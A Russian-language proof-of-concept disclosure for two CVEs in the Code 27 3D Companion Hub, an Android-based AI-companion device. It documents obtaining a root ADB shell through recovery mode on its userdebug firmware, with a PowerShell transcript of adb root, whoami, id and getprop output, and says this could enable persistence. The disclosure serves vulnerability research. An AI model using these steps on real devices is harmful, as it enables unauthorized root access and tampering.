
Proof of concept для CVE-2026-36027 и CVE-2026-36028
Code 27 3D Companion Hub — это физическое настольное устройство, отображающее пользовательского ИИ-персонажа («Коди») в виде анимированного 3D-компаньона. Пользователи могут загружать или создавать любые 3D-модели, а мультимодальный ИИ позволяет персонажу видеть окружающую обстановку, распознавать тон и язык тела, а также вести свободные беседы.
В этом материале описаны две уязвимости, требующие физического доступа к устройству. Обе были проверены на указанной ниже сборке и на момент публикации остаются неисправленными.
| Поле | Значение |
|---|---|
| Продукт | Code 27 3D Companion Hub |
| Версия Companion Hub UI | 1.2.0 |
| SoC / плата | Rockchip RK3588S (rk3588s_yt921) |
| ОС | Android 12 |
| ID сборки | SQ3A.220705.003.A1 |
| Полный fingerprint | rk3588s_yt921-userdebug 12 SQ3A.220705.003.A1 eng.dj.20260203.134404 release-keys |
| Тип сборки | userdebug / release-keys |
В поставляемой прошивке используется userdebug-сборка (видно в баннере recovery и в ro.build.display.id). Сборки userdebug позволяют перезапускать adbd с правами root через adb root, что является ключевым фактором для существования CVE-2026-36027.
Физически близкий злоумышленник может загрузить Companion Hub в режим восстановления Android и получить оболочку ADB с привилегиями root (uid=0, контекст SELinux u:r:su:s0). Поскольку устройство поставляется с userdebug-сборкой, adbd можно перезапустить с правами root с помощью adb root, что даёт злоумышленнику доступ на чтение/запись к среде восстановления, возможность перечислять свойства сборки и оборудования, а также доступ к функциям recovery (sideload, fastboot, работа с разделами).
Полученный доступ осуществляется в рамках ramdisk recovery, а не в работающей среде Android. В ходе тестирования действие Mount /system в recovery завершилось неудачей (libfs_mgr не смог открыть /dev/block/by-name/system), поэтому системный раздел не был напрямую смонтирован через этот путь, а загруженное пользовательское окружение с киоском и любыми расшифрованными пользовательскими данными в этом режиме не отображается.
Тем не менее это важно, потому что root-доступ к среде восстановления является основой для изменения постоянного состояния устройства (например, записи в разделы или установки специально созданного пакета обновлений), чтобы код злоумышленника мог запуститься при последующей обычной загрузке, тем самым закрепившись на работающем устройстве.
Mount /system, подсветите его и подтвердите. Операция, скорее всего, завершится ошибкой. Это ожидаемо, и эксплойт всё равно сработает. (В логах recovery будет сообщение libfs_mgr о невозможности открыть /dev/block/by-name/system.)PS C:\Users\John\Downloads\platform-tools-latest-windows\platform-tools> .\adb.exe devices
List of devices attached
YGKJ2601921S00193 recovery
PS C:\Users\John\Downloads\platform-tools-latest-windows\platform-tools> .\adb.exe root
restarting adbd as root
timeout expired while waiting for device
PS C:\Users\John\Downloads\platform-tools-latest-windows\platform-tools> .\adb.exe shell
# whoami
root
# id
uid=0(root) gid=0(root) groups=0(root),1004(input),1007(log),1011(adb),1015(sdcard_rw),1028(sdcard_r),1078(ext_data_rw),1079(ext_obb_rw),3001(net_bt_admin),3002(net_bt),3003(inet),3006(net_bw_stats),3009(readproc),3011(uhid),3012(readtracefs) context=u:r:su:s0
# getprop ro.build.display.id
rk3588s_yt921-userdebug 12 SQ3A.220705.003.A1 eng.dj.20260203.134404 release-keys
# getprop ro.product.model
rk3588s_yt921
# getprop ro.build.version.release
12